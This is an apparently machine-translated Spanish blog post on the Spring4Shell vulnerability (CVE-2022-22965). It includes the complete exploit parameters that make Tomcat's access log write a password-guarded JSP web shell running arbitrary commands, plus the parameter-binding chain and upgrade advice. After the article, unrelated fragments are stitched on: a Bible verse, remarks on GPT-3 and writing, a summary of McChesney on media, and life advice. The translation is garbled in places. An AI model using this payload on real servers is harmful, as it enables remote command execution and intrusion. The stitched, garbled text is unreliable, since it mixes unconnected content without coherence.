Si sus aplicaciones web utilizan Spring Framework, debe tener cuidado.
Esta vulnerabilidad (CVE-2022–22965) se publicó en el sitio web oficial de Spring el 31 de marzo de 2022. Ha pasado más de un mes desde ahora y es posible que muchos desarrolladores no lo sepan. Si sus aplicaciones Spring MVC se ejecutan en JDK9+, los atacantes pueden usar la función de enlace de parámetros de Spring MVC para escribir código malicioso en el programa de destino para lograr el propósito de la intrusión.
WARe implementado en un contenedor Servlet independiente como Apache Tomcat.spring-webmvcse utiliza y se utiliza la función de enlace de datos.Una de las razones de esta vulnerabilidad es la función de enlace de datos de Spring, que es familiar para los desarrolladores empresariales de Java . El enlace de datos se utiliza para los parámetros del método del controlador que se anotan con @ModelAttributeu opcionalmente sin él. Spring usa esta función para analizar los parámetros de HTTPsolicitud (parámetros de consulta o datos de formulario) y luego completar un objeto. Ahora, usamos un ejemplo para reproducir esta vulnerabilidad.
En condiciones normales, cuando establece parámetros normales y solicita /test, se devolverá el resultado que desea, pero tenga cuidado si el formulario que solicita tiene los siguientes parámetros.
class.module.classLoader.resources.context.parent.pipeline.first.pattern=
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=test
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
Tome el class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jspparámetro como ejemplo. Cuando los parámetros de enlace de primavera, utilizará un delimitador .para resolver los parámetros de forma recursiva. Cuando se resuelve en el último sufijo de referencia, puede inyectar .jspvalor en el Accesslogvalveatributo de objeto de Tomcat. A continuación se muestra toda la cadena de análisis de vinculación de parámetros.
User.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
org.apache.catalina.webresources.StandardRoot.getContext()
org.apache.catalina.core.StandardContext.getParent()
org.apache.catalina.core.StandardHost.getPipeline()
org.apache.catalina.core.StandardPipeline.getFirst()
org.apache.catalina.valves.AccessLogValve.setSuffix()
Aunque esta vulnerabilidad es extremadamente fatal, con la popularidad de los microservicios y la conveniencia del contenedor web integrado de arranque rápido , pocas personas usan war para ejecutarse en un contenedor tomcat, por lo que el impacto de la vulnerabilidad es limitado. Sin embargo, si usa jdk9+ y su sistema web está implementado en Apache Tomcat, será mejor que actualice su versión de Tomcat 9.0.62o actualice la versión de Spring a 5.1.18.
Gracias por leer.
“Él me protegerá cuando esté en peligro. Me esconderá en su tienda.
A menudo nos encontramos luchando para implementar lo que sabemos que es bueno para nosotros. Desde decirle a un ser querido que lo amamos hasta recordar hablar como un pirata, siempre habrá quienes digan que no hace falta un día, una semana o un mes de eventos porque ya están haciendo esas cosas.
En 2022, con el lanzamiento de GPT-3, la habilidad de escritura parece perder importancia. Con IA, las personas con mala escritura también pueden generar personal de calidad.
En el mundo hiperconectado de hoy, los sistemas de medios juegan un papel fundamental en la formación de la opinión pública y, en consecuencia, en la toma de decisiones democrática. En su profundo análisis de la economía política de la comunicación, el académico Robert McChesney desafía la sabiduría convencional y presenta lo que él llama las “cinco verdades” sobre los medios.
Cuando creces, tiendes a que te digan que el mundo es como es y que tu vida es solo vivir tu vida dentro del mundo, nunca arriesgar tu vida, solo sigue un camino establecido y muere al final, y trata de no hacerlo. golpea demasiado las paredes. Pero esa es una vida muy limitada.